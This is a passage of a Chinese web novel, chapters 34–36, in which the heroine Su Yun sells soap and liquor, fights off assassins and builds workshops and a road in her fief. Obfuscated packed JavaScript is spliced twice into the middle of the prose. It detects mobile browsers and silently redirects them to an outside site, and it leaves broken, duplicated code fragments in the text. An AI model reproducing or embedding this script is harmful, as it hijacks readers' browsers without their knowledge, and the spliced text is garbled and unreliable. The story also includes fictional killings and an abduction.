下午稍晚，陆平回来了，带了两个样品盒子。竹编的盒子看起来很是普通实用，木盒子则有雕花，看起来比较华贵。可能是赶制的，略显粗糙。 陆平道：“我已个定制了二十个，让他们雕花要精细一点。” 苏云点点头。 陆平又道：“窑场那边已经定好，这次比较多，要后日才能交货。窑场的牛车不多，说不能送到京城。” 苏云道：“无妨，我们去货行租用就是。明日我们一起进城。” 34. 第 34 章 34、预定肥皂 次日，苏云将制作好的蒸馏酒、几十块肥皂，再把绣娘的作品带上，杨三叔、杨婶子、何小花、陆平，分了两辆牛车，一起浩浩荡荡进城去了。 先去如临院子，三妞都在，很快卸了酒坛，陆平和何小花去木工作坊取了定制的盒子，回到凉水院子，这一下全部都到了凉水院子集中。 苏云拿出肥皂装在盒子里，看起来很精致，又让杨婶子、何小花，陆平一起先到了绣庄。杨三叔听说去绣庄，表示没兴趣，还不如在院子里吃冰棍解暑。 绣庄铺面，一个小姑娘见四人进来，忙笑脸相迎：“各位可是要买绣品？”杨婶子道：“妹子，我们有事找掌柜。” 小姑娘对着旁边一个招待客人的中年妇人道：“吴妈，客人找你。” 吴妈回过头，上前道：“客人找我，可是有事？” 杨婶子道：“吴掌柜好，我这里有一些绣品，想请掌柜掌掌眼。” 说着，将一沓绣品递过去。吴妈拿了上面几张，略略看了看道：“绣工嘛，只能说还过得去，不过这图样倒是新鲜。要不，我们借一步说话？” 说着，将她们带到了一个厢房。 吴妈是个风韵犹存的中年女子，常年经商，心思活络，大致猜到了杨婶子的用意，道：“你这是想要把绣品放我们这里寄卖？” 杨婶子看了一眼苏云，然后对吴妈道：“正是，奴家姓杨，人们叫我杨婶子，以前也是绣娘出身。我们村里有好些姑娘，跟着我学刺绣，这就是她们的绣品。都是农家出身，只学了两个月，活儿并不是很好，也就空闲时绣一些绣品，看能不能在贵店寄卖？若是吴掌柜看得上，能收购更好。如果贵店有忙不完的活，要求不高的，我们也可以帮忙完成。” 吴妈一边翻检着绣品，时不时拿出一两张放在一旁，一边道：“杨婶子客气了。这水准，虽在我们绣庄只能算中下，但要只是空闲绣绣，两个月时间，达到这个水准只怕实在不易，看得出杨婶子着实费心了。另外，你这些图样是哪里来的呢？” 杨婶子道：“图样是小姐设计的。”苏云道：“吴掌柜好，这些图样是我设计的。” 吴妈看了看苏云道：“小小年纪，竟有这等本事，着实了不起。” 又对杨婶子道：“这些绣品的布料只能是尚可，如果愿意在这里寄卖，和我绣庄的绣娘一样，十五文一张。”又拿起捡出来的几张道：“这几张，可以二十五文一张，卖掉一张，结算一张，你看可否？” 杨婶子道：“甚好。” 吴妈道：“最近接了一个单子，是张大户家要绣一组屏风，工作量有些大，如果愿意，后日你可以让二十五文的绣娘过来帮忙，我们按绣庄的绣娘一样开工钱。” 杨婶子看看看捡出来的几张绣品，对何小花道：“都是二妞、小草和你的，你可愿意去帮忙？” 何小花看看苏云，见苏云点头，于是道：“承蒙掌柜看得上，小花自是愿意的。” 苏云见绣品的事情谈得差不多了，就对吴妈道：“吴掌柜，我这里有一款最新的胰子，名为肥皂，清洁衣物，确有很好效果，你看有没有兴趣？” 说着，拿出一个木盒子，打开，露出里面的雕花肥皂。 吴妈拿出肥皂看看，闻闻，道：“确实是个新奇东西，只是这洁净衣服怎么说？” 苏云道：“能否借贵店洗衣盆一试？” 吴妈道：“不若我们去后堂试试？”于是带着他们进入后院，一个洗衣妇正在清洗衣物。 苏云上前，将肥皂递给洗衣服的道：“你用这个洗一下衣物试试。” 洗衣服的见吴妈点头，就接过肥皂，捡了一件最脏的衣服，抹上肥皂搓洗起来，只见泡沫四起，过了一会儿，拿到水里浸泡，再用清水洗了两遍，拧干一抖，只觉得衣物很是干净。 吴妈赞道：“确是好东西，你准备怎么卖？” 苏云道：“此物造价比较高，且一块能洗不少衣物，算下来三十文可好？” 吴妈道：“三十文太高，若是寄卖，直接卖给客人，三十文怕也是很难卖出去。二十文吧，比较合适。” 苏云想了想道：“也行，但只能是肥皂，盒子你要的话，需要另算，目前只是试卖，你要多少个？” 吴妈道：“先要五十块，如果不错，以后再进。” 苏云道：“好说，过几日给你送过来。” 从绣庄出来，苏云又去了成衣店和几家杂货铺，以二十文的价格预订了五百多块。 回到凉水院子，杨三叔坐在躺椅上，左手扇着凉扇，右手还拿着一根冰棍，时不时吃上一口，相当惬意。 苏云找到阿牛娘，告诉他阿牛这段时间在京城不回来，如果愿意，她也可以去京城照顾阿牛他们。阿牛娘自然十分高兴答应了下来。 苏云去了一趟如临院，见三头牛正在灌装酒瓶，心里算了一下，现在差不多有五千瓶的样子，告诉大牛二牛，今日准备一下，明日就要和车队一起去京城。 时间已晚，苏云和王嬷嬷慢慢走回去，路上已无多少行人。只见路边躺着一个妇人，衣衫褴褛，旁边放着一个破碗，脸色惨白，已无生气，一个蓬头垢面的十来岁小女孩撕心裂肺在哭。想是哪里来的乞丐，苏云于心不忍，上前问道：“小妹妹怎么了？”，小女孩哭道：“我和娘出来要饭，不久娘亲就睡着了，叫都叫不醒。”苏云惨然道：“小妹妹，娘亲到天上去了，你还有亲人吗？”小女孩道：“还有爹爹。”苏云道：“爹爹在哪里？”小女孩指着前面道：“就在前面，拐两个弯就到了。”小女孩拉着苏云的手道：“我带姐姐去吧。”王嬷嬷朝苏云摇摇头，苏云也略觉有些不对，一个小女孩怎么这么说？但苏云也不怕，就道：“好的。”小女孩拉着苏云的收就走，连地上的娘亲看都没再看一眼。 只见小女孩拉着苏云的手，朝着前面一个小巷走进去，小巷里面没人，再转一个弯，更觉冷清。苏云停步道：“小妹妹，你家在哪里？”小女孩用手一指道：“就在前面了。”才走几步，只见前面转弯处走出两个大汉，一人执刀，一人拿棍，一言不发，站在前面冷冷地看着苏云等人。苏云刚要问小女孩，突然觉得手腕一痛，立时无力，却是着了小女孩的道。 小女孩一击得中，立马跳开，朝前面两人跑过去。原来并不是什么小女孩，应是一个侏儒，已经快三十的年纪，看起来还和小孩子一样。 王嬷嬷朝前一步道：“你们是什么人，要钱就说，为何要如此？” 一个大汉道：“三妹出马，果然名不虚传，轻易就将她带来了。” 另一大汉道：“不为求财，只是受人所托，取你性命罢了。”先前大汉色眯眯道：“这小妮子长得委实好看，就这样杀了太可惜，莫若等哥俩先快活了再取性命？”另一大汉不理，小女孩哼了一声，也不言语。 大汉道：“你也不用吃惊，我们夜羽三煞，江湖上也小有名气，专为别人收钱免灾的，干的都是脏事，也怪你命不好，得罪了不该得罪的人。”苏云知道多说无益，挡开王嬷嬷，小声道：“赶快去叫人。”一抖手，腰间软鞭已握在右手，只是左臂尚没什么知觉，使不出劲力。王嬷嬷知道自己帮不上什么忙，只得转头跑了。 一大汉笑道：“没想到还是练家子。”哈哈一笑，执刀扑将过来，不待他近前，苏云手一抖，追风鞭法的“灵蛇吐信”，竟然夹带破空之声，大汉过于轻敌，见鞭到眼前，忙抡刀一记抚云刀法，想挡开这一鞭，谁知还没碰到鞭子，只见苏云一抖手，鞭子一荡，已换成“劲风式，”长鞭竟如铁棍、长枪 ，直刺大汉右肩，只听扑地一声，大汉躲避不及，刺进大汉右肩，大汉大叫一声，待要用左手去抓长鞭，却被苏云往上一挑，长鞭挑破右肩而出，立时鲜血四溅，大汉惨叫一声，摔倒在地。 小女孩大怒：“你敢伤我大哥？”手持握着两把匕首，猱身扑来，竟是相当有气势，使棍的大汉也大叫一声，抡起棍子扑将过来。常言道：“一寸长，一寸强；一寸短，一寸险。”小女孩的两把匕首看起来更是凶猛，苏云不敢让她靠近，只是摆动长鞭，夹带内力，小女孩左格右挡，只是冲不过来，无法近身。小巷比较窄，使棍的也冲不过来，只是干着急。苏云也着急，若是左手没有受伤，可以扯掉项链，用作石子暗器打出去，现在只有一只手，只能阻止他们扑过来，一边朝后退，拖延时间。 正在相持之间，只听巷子外响起脚步声，有人朝这边跑来。小女孩叫了一声：“二哥，风紧，扯呼！”边战边向后退，使棍的汉子也想向后撤，不料一分神，脸颊中了一鞭，痛得眼冒金星，倒在地上大叫：“三妹快跑，不用管我们。” 只见杨三叔瞬间出现在巷口，小女孩眼看不敌，猛地跃上围墙，正欲跑开，杨三叔右手一指，一股真气朝小女孩右腿激射而出，正好苏云也长鞭朝小女孩脚上扫去，小女孩纵身一跃，躲过长鞭，却被杨三叔的真气刺伤小腿，弯下腰，忍住痛，咬牙一拐一拐跑远，凶悍之气，让人惊叹。杨三叔还要去追，只见那个肩头伤得不轻的大哥强自站起，手执钢刀挡在前面。苏云道：“杨三叔算了，让她去吧。”杨三叔一眨眼就晃到持刀汉子身边，伸手一点，那个汉子瘫倒在地上。 杨三叔过来，道：“没有受伤吧？”苏云一边笑一遍收起长鞭到：“没大事，就是左手被暗算，想是被封住了什么穴道，没有力气，幸好杨三叔及时赶到，不然只怕真跑不掉了！”杨三叔托起她的左手，随手点了几下，苏云伸伸手，感觉似乎可以慢慢动起来了。杨三叔道：“没事，穴道解开就好了，需慢慢回血。” 杨三叔看看两个大汉道：“这两人怎么办？”苏云想了想，道：“灭口吧，把他们弄成互殴砍杀就行。”杨三叔道：“不用审一审？”苏云道：“不用，我知道他们幕后是谁。” 第一次真正动手，和前面那一次县里遇到的泼皮完全不一样，苏云想想很是有些后怕。 杨三叔来得很快，一则凉水院并不远，另一则是王嬷嬷想了办法，自己跑不快，看见巷口有一个小乞丐，给了他一两银子，让他最快速度去凉水院找杨三叔帮忙。果然，小乞丐拿着银子，使出吃奶的力气，狂奔到凉水院，说要见杨三叔，杨三叔正在院子里惬意的吃着冰棍，一听说苏云有危险，抱起小乞丐就跑，让小乞丐指点到了小巷口，看见王嬷嬷在，这才放下小乞丐，冲进巷子。小乞丐被杨三叔抱着，跑得像飞一样，简直不敢相信，被放在地上后，还一直蒙蒙的。 苏云平息了一阵气息，这才回到凉水院，又让陆平去脚行先把运货的牛车先租好，等明日瓷瓶一到，就可以出发了。 苏云也觉得很热，去制冰作坊看看，只见秦氏夫妇正干的热火朝天，娟儿认真在记录，也就没多说什么，拿了一根冰棍出来，惬意的吃起来，冰棍生意，估计还能做一个多月了。 待到晚上，莺儿也回来吃晚饭。好些日子没见到莺儿，苏云很是高兴，莺儿自然也是小姐长小姐短在苏云身边转个不停。饭后，莺儿弹唱了一曲，竟然有了几分专业味道，而且很是大方，获得院子里的观众一阵掌声。 次日上午，苏云单独跟杨三叔说了自己的忧虑。 苏云道：“杨三叔，你不是外人，很多话我也是跟你实说。卧云醉利润很大，我很是担心黎大为已经被京里的大人物盯上了。要知道，如果没有根基，这种生意很难不被人算计，就算有国公府在背后，但关系还没到那一步，支持也很有限。所以这次到京，主要想请杨三叔鼎力支持一下。” 杨三叔到：“自是义不容辞，只是我要做些什么？” 苏云道：“这次车队七八辆，进京难免不会遭人注意。若是要说哪里最容易泄漏消息，当数城门处。我想：若有人整天在城门守着，这个不太现实，最有可能，是守城官兵，有了消息会去派人去报告。你是老江湖，若有人报告之人，想办法拿下，离开京城之时再放他。最要紧之处，就是神不知鬼不觉。” 杨三叔道：“拿下此人自是没有问题，只是青天白日，还要关押许多天，却放在何处比较合适？” 苏云道：“只需说明用意，黎大为定会有办法处理好。” 杨三叔道：“如此甚好。” 苏云道：“第二就是保证黎大为和陆平安全，让他们顺利回来。” 下午，陆平带上租赁好的牛车，先装好灌装好的蒸馏酒，然后带着几个空车，苏云、王嬷嬷、杨三叔、阿牛娘、大牛二牛，一起去城外接酒瓶。 还是在那片竹林旁，窑场的酒瓶到了，苏云把三种瓶子都拿出来瞧瞧，只见三种色彩不一样，都是瞿老夫子的题字，看起来很是有档次，也是相当满意。瓷瓶生意，运输破损在所难免，一般都会多烧几个。 交割完毕装车，苏云把信交给了陆平，交代把酒送到黎大为居处，把空瓶送到阿牛处。于是一行七八辆车，朝着京城出发。 苏云和王嬷嬷目送牛车走远后，又去县衙找朱县令办理作坊的手续，手续必须齐全，不能授人以柄。 牛车上路，其实到京城并不远，中途找个旅店歇息，第二天一早出发，当天下午赶在城门关闭之前到了城门口。 守城兵士见来了车队，上前盘查，路平赶紧拿出路引，还塞了一小袋银子，收成兵士掂了掂，道：“是什么货？有没有私藏犯人？” 陆平陪笑：“大人说笑了，小的一介商贾伙计，怎么敢私藏犯人。这是拉到京城来的酒售卖的酒。” 兵士叫来两个同僚，上去检查，看到是卧云醉，两人对视一眼，然后挥手道：“走吧。” 陆平忙点头哈腰，一挥手，牛车跟着进城。 杨三叔道：“你们先走，一会我去找你们。” 陆平答应，带着车队走了。 杨三叔下车，看旁边有一个茶摊，正准备过去，却见刚才检查的兵士走到一个军官面前说着什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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黎大为起身，走到院中，准备去开门，杨三叔道：“不必。”说完拉住黎大为的手，纵身一跃，上了房顶，然后发足奔跑。黎大为简直惊得目瞪口呆，仿佛腾云驾雾，正不知所措间，已跑过好多房顶，落在了阿牛院中。 阿牛母子还在叙话，突然间两人落在院中，吓了一跳。黎大为把他叫出，把图纸给他，把苏云安排的事给他说了，给了他五百两的银票，还说清楚要买什么酒，在院子什么地方开个小门等等。 次日一早，黎大为带着陆平就出门了，杨三叔则远远跟在后面，暗中保护。 黎大为首先来到刘记酒铺，刘记酒铺在闹市区，也是前店后坊的规制，时间尚早，基本没有客人，伙计见黎大为进门，忙满脸堆笑道：“余公子来了，快请进。可是要找方掌柜？” 黎大为拱手：“杨哥早，正是要找方掌柜。” 杨哥笑道：“余公子稍等，我这就去请。”正要动身，却见一个中年人从后院走出来，笑着道：“余公子来了，稀客，这两日正说要找你，不想余公子竟亲自上门了。” 黎大为拱手：“方掌柜好。” 方掌柜道：“快请进，我们里边谈。” 进得后院客厅坐定，黎大为道：“前些日子进的货，不知道销量如何？” 方掌柜道：“托余公子福，卧云醉最近在京城可谓十分抢手，虽价格贵些，奈何达观贵人不缺钱，就好这一口，前些日子进的一百瓶，只怕今日就要售罄，正想寻余公子再进一批呢。” 黎大为道：“这两日正好进来一批货，家中老父嘱咐要尽快脱手，及早返家，何时再来京城，却是不得而知。你看这次需要多少瓶？” 方掌柜道：“一千如何？” 黎大为道：“需要多少，全看方掌柜。只是这一次的价格嘛，须得往上提一提。” 方掌柜道：“这价格已然不低，若是再往上提，只要销路有损。” 黎大为故作为难：“在下自是知晓，只是家父在信中说，家中最近出了大事，需很多银子补贴。” 方掌柜也不打听何事，问：“既如此，余公子此次准备涨价多少？” 黎大为比了一个巴掌的手势，方掌柜还了一个二，黎大为还四，几番比划，终于在三个指头上面达成共识。也就是每瓶涨价三两银子。 黎大为收了定金，道：“下午即可送到。” 方掌柜笑着把二人送出铺子。 一个上午，差不多六千瓶就销售一空，尤其是樊楼和丽香苑，听说黎大为可能不会再来京城，更是觉得奇货可居，各自吃下了两千瓶。黎大为自己留下了二十瓶，拿出十瓶送给瞿老夫子，四瓶给了国公府，余下的几瓶都给了几个名家，都是以名酒轩的名号送出。 下午发货后，收拾齐整，准备明日一早就出发回临川。 待到晚上，杨三叔把他又带到了阿牛的院子，各人找了一块布，把脸蒙上，只留一双眼睛。 来到偏僻的房间，那个兵士还在睡着，扯去眼罩，杨三叔上去拍了一掌，兵士缓缓醒来，突然看到微亮的光线中，两个蒙面人盯着自己，吓了一跳，想叫却叫不出声来。 杨三叔道：“有事问你，不准叫，不然要你命。” 兵士满眼恐慌，拼命点头。 杨三叔问道：“若有半句谎言，你见不到明天的太阳。我问你，你为什么要跟踪车队？” 兵士道：“不敢瞒大爷，是长官命我跟着车队的。” 杨三叔道：“长官怎么说的？” 兵士道：“长官遣我只是跟着车队，只要记住车队在什么地方停车、卸货就可以，没有安排别的事情。” 杨三叔道：“为什么要跟着车队？” 兵士道：“不清楚啊，长官说过，只要是贩酒的，都要仔细检查，若是卧云醉，不要打扰，直接上报给他。” 杨三叔和黎大为对望了一眼：“长官可曾说要做什么？” 兵士道：“未曾听说要做什么，只是让我们跟着。” 黎大为压着嗓子问道：“是不是有人找过长官，要他盯着卧云醉？” 兵士道：“不清楚啊，好像几日前，是有一个管家模样的人来找过长官，小声谈了一阵后，长官就要求我们注意进城的货车。” 黎大为道：“什么府上的管家？” 兵士到：“看服装，和他谈话，应该是哪一个王府的管家。” 黎大为和杨三叔觉得差不多了，黎大为拿出一个馒头，一碗水，喂他吃完，喝完水之后，又点了他的睡穴。 看来现在还只是关注，并没有完全下手。 两人出来，和阿牛、何大壮商议一阵后，也就让杨三叔把他带回了院子。 次日一早，跟房东交代后，黎大为和陆平骑着马，出了城门而去，杨三叔想起苏云的交代，怕二人路上不安全，于是和他们一起出发，一路快马疾驰，倒没有遇到什么事情，当日便回到了临川。 阿牛按照黎大为给的要求，昨天已经定制了蒸馏器具，今日到酒铺去买了不少好酒，让人拉到院子，并没有引起人的注意。到了晚上，将那个兵士解绑，趁着夜晚，扔到了离院子很远的一个巷子里。 拿到蒸馏器具后，阿牛他们就整日关在院子里面，按照隔壁的酿酒时间开始蒸馏起酒来，平日都是阿牛娘出去买菜做饭，日子过得很是舒坦。 35. 第 35 章 35、大兴土木 苏云回到柳河庄，花了一整天，做了三百多块肥皂，完成了预定的数额。而杨婶子则带着何小花、小草、二妞她们去了绣庄，剩下的姐妹羡慕不已，都在憋着劲苦练，提高自己的刺绣水平；而小花他们到了绣庄，和绣娘们一比，意识到自身不足，也是更加刻苦。 苏云决定要修建工场，带着王嬷嬷，坐着牛车到了槐树村，找到村长家。 村长见苏云到来，急忙上前，就要下跪，苏云忙道：“村长不必多礼。”王嬷嬷上前扶住，村长只得躬身行礼。 村长道：“不知县主今日到来，是有何事？” 苏云道：“这些日子，收到的花石子怎么样了？我来看看。” 村长让儿媳妇拿来几个袋子，明显比上一次多了很多，每一个袋子上面都有名字。 苏云把袋子的花石子一颗颗检看，发现这一次总体质量比上次好，数量也很多，于是一袋袋算了价格，总共八百六十二文。 王嬷嬷付了款，把石子都倒进了一个袋子里。村长脸上堆笑，一边数着铜钱，一边按照刚才的估价分别装进相应的口袋。 待到村长装完，苏云道：“今日过来，还有一事和村长商量。” 村长道：“县主但说无妨。” 苏云道：“槐树村贫瘠，若是只是种植这几亩薄田，无论如何出力，村民日子都不会好过，忙碌一年，只怕温饱都还是问题。本县主封地在此，也希望村民们衣食不愁。想了好久，决定在猪鼻山那边建一个作坊，生产一些东西卖出去，既然是作坊，自然需要劳工，到时候可以让村民去工场里做工，不会比外面做工的工钱少，你看怎么样？” 村长听了，很是激动，又要起来下跪，王嬷嬷手疾眼快，又扶住了他，村长只得坐下道：“县主有心了，若在家门口就可以做工，自是造福村民的大善举，村民以后的日子可就好过多了。” 苏云笑道：“我也是要赚钱的，双方都会有好处。只是要建工场，生产的货物要用马车拉出去，就得在村子里修一条路。我看现在的村道太窄，想拓宽成一丈五的石板路，只是免不了要占一些田土，我想按照面积给占用田土的村民补贴一点银两，不过不会很多，毕竟这里的田土都是公地，县衙那边已经缴纳了费用。” 村长道：“县主能到我们村建工场，路修好了，村民也方便。我们哪里还能要县主的补偿？” 苏云道：“一码归一码，有劳村长去做个统计，然后我把款子一并给你。” 村长道：“既如此，老朽这就去跟村民谈，保证不会误了县主的大事。” 见事谈妥，苏云便告辞回去。 柳河庄 苏云让王嬷嬷转告庄头，让庄头把上次建房的师傅给找来，有房子需要修建。 果然，上次建房的张师傅带着徒弟来了。看苏云绘制的图纸，工场分为三个部分，生产作坊划分成四个，当然没说具体用途，只是每一个都不一样，一个大房子被分成了好几个隔间，将操作流程分成了独立完成的区间，每个流程互不干扰，其目的自然是保密。 还有一部分是库房，也是分成几块，而且在制酒库房的后面，本来有一个不大的山洞，苏云干脆让人挖出一个山洞，洞口一人多高，像一个甬道，里面则比较宽，进深足有几十米，虽是酷暑，洞内却清爽无比。用青石板铺了一层，主要用来存酒。 院子外面还有一个大车间，主要用来杀猪和肉食加工，做腊肉和香肠，主要想到肥皂用油后，剩下的猪肉也要利用起来。这个工场会用到很多人，因为比较脏乱，污染比较多，所以离上面的工场有一定距离，建在溪流下游。 宿舍区也是单独的，各自工场的工人分开来住，每个住处都是一个独立的院子，里面的房间挺大，苏云设计了图纸，做出了高低床来安排工人，院子的大门和道路也是单独的，相互并不重合。 最后外面修一道高墙将它们全部围起来，形成一个整体，便于管理。 张师傅道：“此次工场面积很大，但是修建的难度其实并不大，只要人手够，应该用不了多少时间。不过还是需要去现场看看再说。” 苏云道：“正有此意。” 于是带着张师傅一行去了现场。张师傅勘查现场后，道：“修建不难，但是需要从槐树村把砖石拉进去。槐树村的道路怎么办？” 苏云道：“这个本县主已经考虑到，和槐树村已经协商，将现有的村道拓宽到一丈五。要辛苦你看看怎么修建道路，但是有一点，拓宽道路，优先雇佣槐树村的村民可好？” 修建道路，需要很多劳力，请当地村民，自然要方便很多，张师傅爽快地答应了。 不过张师傅提了一个建议：如果从柳河上面修建一座桥到对岸，只需大约五里地，即可连上官道，到县城比通过柳河庄过桥少走二十里路，方便许多。只是对岸田土虽也贫瘠，却是有主之地，需得和地主商量。 苏云想了想，以现在自己县主身份，一般地主可能也是要给面子的，但是还是要朱县令出面来调停才行。朱县令得了自己的不少好处，且不久将要调任，临行前帮一下自己，想来应该问题不大。再说，自己也不是不付钱，只是不能接受狮子大开口而已。 于是道：“这个暂时不忙，现将村道拓宽，连接到工坊再说。至于架桥和对面的路，须得去找了朱县令再说。” 村长也来了，道：“启禀县主，拓宽村道，要占用五家村民的一些田土，占用面积也差不多，他们商量了一下，每家补偿一两银子可好？” 苏云暗忖有点多，但是不愿多事，想尽早建起工场，也有点怕后面村民捣乱，于是答应，当场就签协议让王嬷嬷付了款。 至于建材用料，怎么运输，苏云全部交给了张师傅。 接下来的日子，苏云每天只管看账本，具体的事情，让大鹏二鹏去监督。尤其是二鹏，头脑比较灵活，也认真负责，管理能力慢慢展现了出来。 没过两天，黎大为和陆平从京城回来了。 黎大为向苏云汇报了京城的情况。苏云道：“想是有人盯上了你，最终是想要夺得提纯的方子，你这次回来，怕是三五个月不能再去京城了。无妨，还有甚多事情等着你做。” 黎大为递上银票，苏云算了算，竟然十一万之多，也是有些吃惊，交给王嬷嬷，赏了黎大为五百两，陆平一百两，二人也是很高兴。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205765|197331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苏云其实很是感叹，十一万之巨的银票，普通人若见到这笔巨款，估计冒着杀头的风险也要占为己有，而黎大为居然没有别的想法，足见黎大为是一个有大格局的人，此人可靠，以后还要更加重用才是。 暂时不缺资金，接下来的时间，提纯酒也暂停，就让黎大为带着陆平、大鹏夫妇、二鹏，李三娘，还从城里把三牛接过来，一起负责工场的修建，目的就是能带带他们，看看以后能不能独当一面。 期间当然去县衙找了朱县令，听说要征地修建道路，自己也是有功劳的，所以很是热情，以县里修路的名义，三下五除二就搞定了那些地主，还征集了一些民夫服徭役，直接就在河对面开始修路，也没让苏云掏多少钱。 但是苏云却坚持把村道和连接官道的那条路及两边的田土全部都买了下来。 苏云清楚，如果现在不花钱买下来，万一有人以后买下来，不让通过，自己的作坊在槐树村，出路被人封死，以此为要挟，就会被卡住喉咙，那方子肯定就保不住了。把两边的土地买下来，也是出于长期考虑，如果槐树村繁荣起来了，道路两旁一定可以建造一些商铺，为来往客商提供便利，或卖或租，到时还可以赚上一笔。 还好苏云不想落人话柄，主动给民夫工钱。民夫们服劳役，历来都是白干，还得自带干粮，哪想到还会有银子可拿，自是感动不已，都夸县主心善。 还是那个建桥的师傅带着徒弟，用同样的办法修建了一座石桥。 槐树村全村都沸腾了，没想到县主的封地落在他们村，不仅免费给他们修村道，建一座桥，一条连接官道的路，还给他们不少挣钱的机会。 苏云好久没有这么清闲的日子了，只是偶尔去工地上看看，天天窝在院子里看书、画画、弹琴，当然最重要的是每天练习鞭法。 这天，杨婶子带着何小花、小草和二妞三个绣女回庄子了，去了三四天，每人赚了六十多文，还带回来上次秀女们卖掉的一些绣品的钱，苏云想起前面和杨婶子的约定，于是叫来了庄头。 苏云道：“上次和杨婶子谈起俺们庄子绣花的姑娘们，她们学成后，能够赚一些钱补贴家用是好事。不过有些家里只想让闺女赚钱，却不想让姑娘们花钱，本县主怕姑娘们到时候白忙活。于是和杨婶子商议，每次姑娘们赚到钱，都要抽出三成交给互助社保管，每个姑娘都要单独记账，你去跟他们父母说说。当然，每次存了多少钱可以让他们知道，但不能支取，一定要等到她们出嫁，作为嫁妆。” 庄头却有些迟疑：“龙女心善，自是处处为庄户们着想，但姑娘挣钱，父母若不愿抽出三成存到互助会，这也是家务事，只怕有些不妥。” 苏云知道庄头也是一个重男轻女的货，虽然理解，但是心里有些不悦，声音提高了一些道：“无妨，你跟他们说，如果不同意，还有一个多月，以后我这里就不再补贴工钱，绣女现在就可以回家，而且以后绣庄也不会收她们的绣品，绣庄有活，也不会安排她们去做。也就是说，只要他们不同意，他们家闺女就赚不到一文钱。” 庄头见苏云有些不高兴，赶紧答应下来：“我这就找他们家里人谈谈，谅他们也不敢不答应。” 36. 第 36 章 36、葡萄酒开坛 就这样过了一些日子，苏云算了算日子，葡萄酒似乎可以开坛了。 苏云先取出一小坛出来，敲开封泥，揭开白布，一股酒香扑面而来。只见里面的漂浮着有些发白的葡萄皮。苏云用木勺别开葡萄皮，舀了一点酒，闻了闻，很是不错，小啜一口，味道酸甜适度，口感醇厚，有两三种干果味道，回味悠长。 苏云大喜，拿过碗，也给王嬷嬷盛了半碗。王嬷嬷小抿一口，也觉非常惬意，问道：“小姐，这是成了？” 苏云笑道：“品质上佳，成了。你去把大为和大鹏两口子和二鹏叫来帮忙，别忘了，还有杨三叔。” 不一会，王嬷嬷把四人带进内院。 苏云道：“前些日子，我和王嬷嬷捣鼓出葡萄酒，现在开坛，你们先尝一下。” 让王嬷嬷每个人盛了一点，黎大为轻抿一口，回味片刻，道：“好酒！” 杨三叔心痒痒，又不好直接讨要，只看了一眼苏云，苏云马上明白，赶紧又舀了一点添在杨三叔碗里。杨三叔这才拿起碗，先看了看，只见颜色紫红，在鼻子下面忽远忽近闻了闻，然后才轻抿了一口，眯上眼，咂咂嘴，回味了好一阵，见大家都望着他，这才道：“要说葡萄酒，数西域的尤佳。我也喝过不少，这个和西域的比起来，色泽浓艳，味道醇厚，回味悠长，并不逊色西域葡萄酒。” 大鹏媳妇喝了一口，道：“俺没喝过，就知道酸酸甜甜，好喝。” 众人都笑了。 苏云道：“好了，现在大家来帮忙。” 说着，开始指挥大家将酒坛搬出来，敲掉封泥，然后一坛一坛用白纱布反复过滤，把过滤后的葡萄皮和核倒在一个桶里，得到了清澈的葡萄酒，然后一瓶一瓶进行灌装。 打开有茜草的酒坛，发现里面的葡萄酒呈褐红色，味道倒是差不多。 忙了一个上午，苏云见全部完成，道：“今日之事，切不可外传，若外传，恐有灭门之祸，出得此门，不可再提葡萄酒。大家切记！” 苏云留下杨三叔和黎大为，其余的都出去了。 苏云道：“杨三叔、大为，你们看这个葡萄酒怎么定价？” 杨三叔道：“以前虽喝过几次，都是别人买单，价格多少嘛，我倒不曾留意。” 黎大为道：“在京城时，也有酒铺在卖西域葡萄酒，也打听过，像我们这样的，一瓶要五六十两银子，价格昂贵，买的人并不是很多。” 苏云道：“我们现在只是在试产，今年不可能有大的产量，现在还是葡萄上市的季节，我们再生产几批，可以先定价三十五两银子一瓶试试。” 黎大为道：“那我再去定制一些酒瓶和坛子。” 苏云点点头，道：“今日就去，你和陆平的马快，陆平去定制，你去去县城看看现在的葡萄行情，最好能向果农打听到他们的产地，只要葡萄不错，可以都买回来。另外，还要多带一些糖霜回来。” 黎大为应声而去。 苏云道：“杨三叔，你可要拿几瓶去过过瘾？” 杨三叔笑道：“就知道你要挤兑我，两瓶就够了，我还是更喜欢卧云醉、舍得液和不羡仙。” 苏云拿上两瓶给他，杨三叔也不客气，接过酒，笑着出去了。 下午，苏云考虑到如果黎大为带回葡萄的话，最好，当天就要处理好，于是，先让大鹏二鹏将酿酒的坛子清洗干净，又和王嬷嬷一起到厨房，教大鹏夫妇、二鹏和李三娘制作冰糖，教会之后，也就撒手不管了。 果然，黎大为回来的时候，带回了差不多两百斤的葡萄，于是又让大家重复前些日子的操作，把葡萄一颗一颗剪下来，扔掉坏的，用湿布擦干净，送到内院，这一次，并没有瞒着大家，而是手把手教他们，制作起来放好。 待得众人退下，苏云问黎大为：“可打听到了葡萄的产地？” 黎大为道：“打听过了，郊外有几家的确在种葡萄，但是都是用来补贴家用的，种植的面积和产量都不多。若是以后要保证我们制作葡萄酒的原料供应，靠这种零星种植，只怕不行，还是要自己想办法种植才行。” 苏云点头：“这个我早想到了，准备用小雀山和猪鼻上那边的山头都用来种植葡萄，这些我会安排。现在我们先把今年的葡萄酒搞定，尽量做多一点。等路平回来，确定了定制的酒瓶时间，我们再去产地收购葡萄。” 黎大为答应。 想到此处，苏云又让人找来庄头。 苏云道：“前日说的绣女提成的事情，办得怎么样了？” 庄头道：“是有两家不愿意，但是听说如不照办，以后闺女就再也挣不到钱，就都同意了，昨日都已经签下了协议。” 